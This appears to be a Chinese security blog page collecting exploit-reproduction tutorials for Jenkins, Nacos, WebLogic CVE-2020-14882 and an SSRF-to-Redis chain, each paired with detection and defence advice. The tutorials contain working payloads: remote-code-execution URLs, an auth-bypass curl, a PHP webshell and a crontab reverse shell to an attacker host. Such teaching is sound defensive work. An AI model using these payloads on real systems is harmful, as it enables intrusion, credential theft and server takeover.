未授权访问 on SoulJian小站

Jenkins 未授权访问与代码执行利用

Sat, 29 Aug 2026 19:30:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Jenkins 往往连着代码仓库与发布权限，入侵真实系统可能触犯法律。

一、漏洞原理

Jenkins 是 CI/CD 平台，权限配置不当极易被利用：

1
2
3
4


1. 未授权访问 /script 脚本控制台 → 执行 Groovy
2. CLI 文件读取（CVE-2024-23897）：args4j 解析器可读任意文件
3. 历史 RCE：CVE-2018-1000861（Groovy）、Git 插件等
4. 匿名用户权限过大（overall/read + script 权限）

本质：构建平台默认信任度高，权限与接口暴露就是灾难。

二、影响与危害

1
2
3


在构建节点/主节点执行命令
读取密钥、源码、凭据
利用构建任务横向到其他系统

风险等级：高到严重。

三、利用 / 复现

1. 脚本控制台执行 Groovy

1
2


访问 http://目标:8080/script（需相应权限/未授权）
在控制台输入：

1
2


println "id".execute().text
println new File("/etc/passwd").text

点 Run 即可看到命令输出。

2. CLI 文件读取（CVE-2024-23897）

1
2


# 低版本 Jenkins 通过 CLI 读文件
java -jar jenkins-cli.jar -s http://目标:8080/ connect-node @/etc/passwd

3. 爆破与弱口令

1
2


Jenkins 默认无密码（首次可创建用户）
尝试常见弱口令进入后台

复现操作步骤

1
2
3
4


第 1 步：访问 http://目标:8080/ 确认 Jenkins 与匿名权限
第 2 步：访问 /script，输入 Groovy：println "id".execute().text，点 Run
第 3 步：看是否有命令输出 —— 有输出即未授权代码执行
第 4 步：换命令验证并升级利用（反弹/抓凭据）

四、检测

1
2
3
4


指纹：8080 端口、/jenkins 路径
探测 /script、/login、匿名权限
版本核对已知 CVE
日志中异常 /script 访问与 CLI 请求

五、防御

1
2
3
4


关闭匿名访问，强制认证
严格管理 /script 脚本控制台权限
限制 Jenkins 公网暴露
升级到安全版本

六、修复

1
2
3
4


升级 Jenkins 与插件到安全版本
收紧权限（脚本控制台仅管理员）
清理后门与异常任务
修复后复测：未授权访问与脚本执行被拒

七、小结

Jenkins 这类 CI/CD 是“高权限 + 易暴露”的组合，一旦被未授权/弱口令进入，就是代码和发布链路的失守。重点防护脚本控制台、匿名权限和公网暴露。

Nacos 漏洞利用实战（未授权/认证绕过/反序列化）

Sat, 29 Aug 2026 19:00:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK，读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心，生产里常存数据库密码、AK/SK、Token。它的问题集中在几类：

1
2
3
4
5


1. 默认/弱口令（nacos/nacos、nacos/admin）
2. 认证绕过（CVE-2021-29441，User-Agent/请求头伪造）
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质：配置中心是高价值目标，却常被默认配置暴露在公网。

二、影响与危害

1
2
3


数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级：高到严重（配置中心=全家桶钥匙）。

三、利用 / 复现

1. 默认口令登录

1
2


http://目标:8848/nacos
账号：nacos / nacos（老版本 admin/admin）

2. 认证绕过（CVE-2021-29441）

1
2
3


# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
 -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2


# 读取配置（需确认版本鉴权情况）
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2


# 内置 Derby 数据库存在 SQL 注入，可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3


Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

复现操作步骤

1
2
3
4
5


第 1 步：访问 /nacos，试默认口令 nacos/nacos —— 能登录即弱口令
第 2 步：带请求头 User-Agent: Nacos-Server 试认证绕过创建用户
第 3 步：探测 /nacos/v1/cs/configs 未授权读配置
第 4 步：按版本试 Derby 注入 / Hessian 反序列化
第 5 步：读到密钥或命令执行 → 确认漏洞，记录影响

四、检测

1
2
3
4


指纹：8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE（含 Hessian 链）

五、防御

1
2
3
4
5


修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露，Nacos 走内网
最小化开放端口（8848/9848/7848）
对配置中心做网络隔离

六、修复

1
2
3
4


升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测：未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”：拿到配置中心，等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿，务必归入资产清单重点排查。

WebLogic CVE-2020-14882 未授权 RCE 复现

Sat, 29 Aug 2026 16:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。WebLogic 漏洞利用可直接控制中间件，禁止对真实系统使用。

一、漏洞原理（两个 CVE 是一条链）

1
2


CVE-2020-14882：路径编码绕过认证，未授权访问管理后台 console
CVE-2020-14883：配合后台的 handle 参数执行命令（RCE）

1
2


14882：URL 里把 /console/ 用 %2e%2e 编码绕过权限判断
14883：未授权拿到后台后，用 ShellSession 执行任意命令

影响版本：

1
2
3
4


WebLogic 10.3.6.0
12.1.3.0
12.2.1.3 / 12.2.1.4
14.1.1.0

二、影响与危害

1
2
3


未授权进入管理后台
直接命令执行（RCE）
中间件完全控制、内网横向

风险等级：严重。WebLogic 在内网 Java 系统里非常常见。

三、利用 / 复现

环境准备

1

docker run -d -p 7001:7001 --name wl vulhub/weblogic:CVE-2020-14882

第一步：验证未授权访问（14882）

1
2


# 路径编码绕过
curl -k "http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal"

能返回 console 页面且无需登录，说明 14882 成立。

第二步：命令执行（14883）

老版本（10.3.6/12.1.3，未授权即可执行）：

1

curl -k "http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('id');\")"

新版本（12.2.1.3+）默认关闭直接执行，需要先结合其他方式（如写文件）或利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 加载远程 XML 实现 RCE。

回显技巧

1
2


命令无直接回显时：把结果写到 web 目录再访问
例如 exec("cmd /c whoami > servers/AdminServer/.../console_ext/1.txt")

复现操作步骤

1
2
3
4


第 1 步：确认 7001 端口与 WebLogic 版本
第 2 步：试 /console/css/%2e%2e%2fconsole.portal 未授权访问
第 3 步：老版本用 ShellSession 参数执行命令
第 4 步：看命令回显或写文件 —— 确认 RCE

四、检测

1
2
3
4


日志中找 /console/ 与 %2e%2e、%252e%252e 编码
访问 console 的 IP 不在白名单
出现 ShellSession、Runtime.getRuntime 关键字
异常出站连接与命令执行痕迹

五、防御

1
2
3
4


限制 console 访问来源（白名单/内网）
WAF 拦截 %2e%2e 与 ShellSession 关键字
升级到已修复版本
对 admin 端口做网络隔离

六、修复

1
2
3
4


升级 WebLogic 到官方安全补丁（含 14882/14883 修复）
关闭不必要的 console 暴露
给管理后台加二次认证/强口令
修复后复测：编码绕过路径与命令执行均被拒

七、小结

14882+14883 是“未授权 + 命令执行”的标准组合。识别特征：7001 端口 + /console/ 路径 + %2e%2e 编码。打 WebLogic 这类中间件，先判断版本，因为新旧版本利用链完全不同。

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

Sat, 29 Aug 2026 13:10:00 +0800

写在前面：合法学习边界

本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

单个漏洞单看：

1
2


SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令

串联起来：

1
2
3
4


1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell

关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。

二、影响与危害

1
2
3


内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网

风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。

三、利用 / 复现

场景

靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。

第一步：验证 SSRF 能访问内网

1
2
3


# 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379

如果响应异常/超时表现不同，说明能触达内网端口。

第二步：向 Redis 发送协议数据

利用 gopher 协议把 Redis 命令打进去（授权环境演示）：

1

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

再构造写文件命令：

1
2
3
4


CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

或用 crontab 反弹：

1
2
3
4


CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE

用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。

第三步：结果验证

1
2


访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell

四、检测

1
2
3
4


日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常

五、防御

1
2
3


SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露

六、修复

1
2
3
4


修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问

七、小结

SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。

Redis 未授权访问原理与防御

Sat, 29 Aug 2026 07:25:00 +0800

写在前面：合法学习边界

本文只讲原理和防御。Redis 未授权访问属于高风险问题，未经授权读取、写入、修改、配置或控制 Redis 服务都可能造成安全事故。

一、为什么 Redis 容易出问题

Redis 常用于缓存、队列和会话存储。如果配置不当，可能直接暴露到公网，造成严重风险。

常见错误配置：

1
2
3
4


bind 0.0.0.0
无 requirepass
未启用 ACL
公网端口暴露

二、风险链路

如果 Redis 未授权且公网可访问，攻击者可能：

1
2
3
4
5


读取敏感缓存
写入恶意配置
写计划任务
写 SSH 公钥
篡改业务数据

因此 Redis 不应默认暴露在公网。

三、常见表现

1
2
3
4


6379/tcp open
Redis 服务无认证
CONFIG 命令可用
SET/GET 命令可访问

在授权测试中，可以验证：

1
2
3


是否存在认证要求
是否能读取敏感 key
是否能写文件

但只能在授权环境中进行。

影响与危害

Redis 未授权访问能造成：

1
2
3
4


数据泄露与篡改
写入 crontab/SSH key 实现服务器接管（配合写入）
内网横向
勒索/清空数据

风险等级：高到严重。

四、防御建议

1. 绑定内网地址

1

bind 127.0.0.1 或内网地址

2. 启用密码

1

requirepass

3. 使用 ACL

限制命令和 key 访问范围。

4. 网络隔离

不要把 Redis 直接暴露公网。

5. 开启审计日志

记录配置变更、敏感命令和异常访问。

6. 最小权限

应用只给需要的读写能力。

修复

1
2
3
4
5


开启 requirepass 设置强密码
bind 限制监听地址，禁止 0.0.0.0
禁用危险命令（CONFIG/SLAVEOF/DEBUG 等改名或禁用）
用防火墙/安全组限制 6379 暴露
修复后复测：无密码无法访问、危险命令被拒

验证操作步骤

1
2
3
4


第 1 步：端口扫描确认 6379 开放
第 2 步：redis-cli/nc 连接，执行 ping 或 CONFIG GET dir
第 3 步：无需认证即确认未授权
第 4 步：进一步验证写入能力（授权内）

五、报告中的正确写法

示例：

1
2
3


发现：6379/tcp 端口开放，Redis 服务未配置认证。
风险：可能导致敏感数据泄露、配置篡改、计划任务写入或服务器控制。
建议：限制监听地址；启用 requirepass；使用 ACL；隔离网络；补充审计日志。

六、小结

Redis 最大的问题通常不是软件本身，而是网络暴露和认证缺失。安全重点是“不要公网裸奔”。